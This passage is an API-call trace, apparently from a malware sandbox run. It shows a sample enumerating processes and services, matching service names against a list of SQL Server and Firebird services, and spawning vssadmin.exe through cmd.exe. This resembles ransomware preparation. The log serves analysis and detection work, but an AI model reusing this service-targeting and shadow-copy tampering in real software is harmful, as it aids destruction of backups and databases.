szExeFile="svchost.exe")) returned 1 [0212.798] lstrlenW (lpString="svchost.exe") returned 11 [0212.798] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.799] lstrlenW (lpString="svchost.exe") returned 11 [0212.799] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.799] lstrlenW (lpString="svchost.exe") returned 11 [0212.799] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.800] lstrlenW (lpString="svchost.exe") returned 11 [0212.800] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.801] lstrlenW (lpString="spoolsv.exe") returned 11 [0212.801] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.802] lstrlenW (lpString="svchost.exe") returned 11 [0212.802] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.802] lstrlenW (lpString="svchost.exe") returned 11 [0212.802] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.803] lstrlenW (lpString="audiodg.exe") returned 11 [0212.803] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0212.804] lstrlenW (lpString="sihost.exe") returned 10 [0212.804] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.804] lstrlenW (lpString="svchost.exe") returned 11 [0212.804] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0212.805] lstrlenW (lpString="taskhostw.exe") returned 13 [0212.805] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0212.807] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0212.807] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0212.808] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0212.808] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.808] lstrlenW (lpString="explorer.exe") returned 12 [0212.808] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0212.809] lstrlenW (lpString="Memory Compression") returned 18 [0212.809] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0212.810] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0212.810] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0212.810] lstrlenW (lpString="SearchUI.exe") returned 12 [0212.810] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0212.811] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0212.811] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.812] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.812] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0212.812] lstrlenW (lpString="entering.exe") returned 12 [0212.812] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0212.813] lstrlenW (lpString="literally.exe") returned 13 [0212.813] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0212.814] lstrlenW (lpString="prep.exe") returned 8 [0212.814] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0212.815] lstrlenW (lpString="homeless.exe") returned 12 [0212.815] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0212.815] lstrlenW (lpString="tips.exe") returned 8 [0212.815] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0212.816] lstrlenW (lpString="rhode_cow.exe") returned 13 [0212.816] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0212.817] lstrlenW (lpString="discount.exe") returned 12 [0212.817] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0212.817] lstrlenW (lpString="littleclosest.exe") returned 17 [0212.817] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0212.818] lstrlenW (lpString="compact.exe") returned 11 [0212.818] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0212.819] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0212.819] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0212.819] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0212.820] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0212.820] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0212.820] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0212.851] lstrlenW (lpString="vincentkills.exe") returned 16 [0212.851] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0212.852] lstrlenW (lpString="armstrong.exe") returned 13 [0212.852] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0212.853] lstrlenW (lpString="superb_guilty.exe") returned 17 [0212.853] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0212.854] lstrlenW (lpString="conditional employer.exe") returned 24 [0212.854] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0212.855] lstrlenW (lpString="middle shown.exe") returned 16 [0212.855] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0212.856] lstrlenW (lpString="forced_online.exe") returned 17 [0212.856] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0212.857] lstrlenW (lpString="knitting.exe") returned 12 [0212.857] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0212.858] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0212.858] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0212.859] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0212.859] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0212.860] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0212.860] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.861] lstrlenW (lpString="svchost.exe") returned 11 [0212.861] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0212.862] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0212.862] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.863] lstrlenW (lpString="conhost.exe") returned 11 [0212.863] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0212.864] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0212.864] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.865] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.865] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0212.866] lstrlenW (lpString="WMIADAP.exe") returned 11 [0212.866] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0212.867] lstrlenW (lpString="11.exe") returned 6 [0212.867] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.868] lstrlenW (lpString="cmd.exe") returned 7 [0212.868] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.869] lstrlenW (lpString="conhost.exe") returned 11 [0212.869] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0212.870] lstrlenW (lpString="vssadmin.exe") returned 12 [0212.870] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0212.871] CloseHandle (hObject=0x2f0) returned 1 [0212.871] Sleep (dwMilliseconds=0x1f4) [0213.422] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889a20 [0213.423] EnumServicesStatusExW (in: hSCManager=0x889a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0213.423] GetLastError () returned 0xea [0213.423] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0213.423] EnumServicesStatusExW (in: hSCManager=0x889a20, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0213.424] CloseServiceHandle (hSCObject=0x889a20) returned 1 [0213.424] lstrlenW (lpString="Appinfo") returned 7 [0213.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0213.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0213.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0213.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0213.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0213.424] lstrlenW (lpString="AppXSvc") returned 7 [0213.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0213.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0213.424] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0213.424] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0213.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0213.424] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0213.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0213.424] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0213.424] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0213.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0213.424] lstrlenW (lpString="Audiosrv") returned 8 [0213.424] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0213.424] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0213.424] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0213.424] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0213.424] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0213.424] lstrlenW (lpString="BFE") returned 3 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0213.425] lstrlenW (lpString="BITS") returned 4 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0213.425] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0213.425] lstrlenW (lpString="CDPSvc") returned 6 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0213.425] lstrlenW (lpString="ClickToRunSvc") returned 13 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0213.425] lstrlenW (lpString="ClipSVC") returned 7 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0213.425] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0213.425] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0213.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0213.425] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0213.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0213.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0213.426] lstrlenW (lpString="CryptSvc") returned 8 [0213.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0213.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0213.426] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0213.426] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0213.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0213.426] lstrlenW (lpString="DcomLaunch") returned 10 [0213.426] lstrcmpiW 